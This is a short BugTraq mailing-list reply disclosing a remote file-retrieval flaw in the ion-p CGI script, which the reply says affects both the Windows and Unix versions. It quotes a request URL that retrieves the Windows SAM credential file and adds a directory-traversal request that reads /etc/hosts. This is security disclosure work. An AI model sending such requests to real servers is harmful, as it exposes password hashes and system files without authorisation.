BugTraq
Re: ion-p.exe allows Remote File Retrieving Nov 01 2002 09:42PM
Stuart Moore (smoore bugtraq securityglobal net)
Hi,

> ion-p.exe allows Remote File Retrieving
>
> www.Server.com/cgi-bin/ion-p.exe?page=c:\winnt\repair\sam
>

The 'ion-p' *NIX version is also vulnerable. Directory traversal chars can be used, too:

/cgi-bin/ion-p?page=../../../../../etc/hosts

Bye,

Stuart

--
Stuart Moore
SecurityTracker.com
SecurityGlobal.net LLC

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus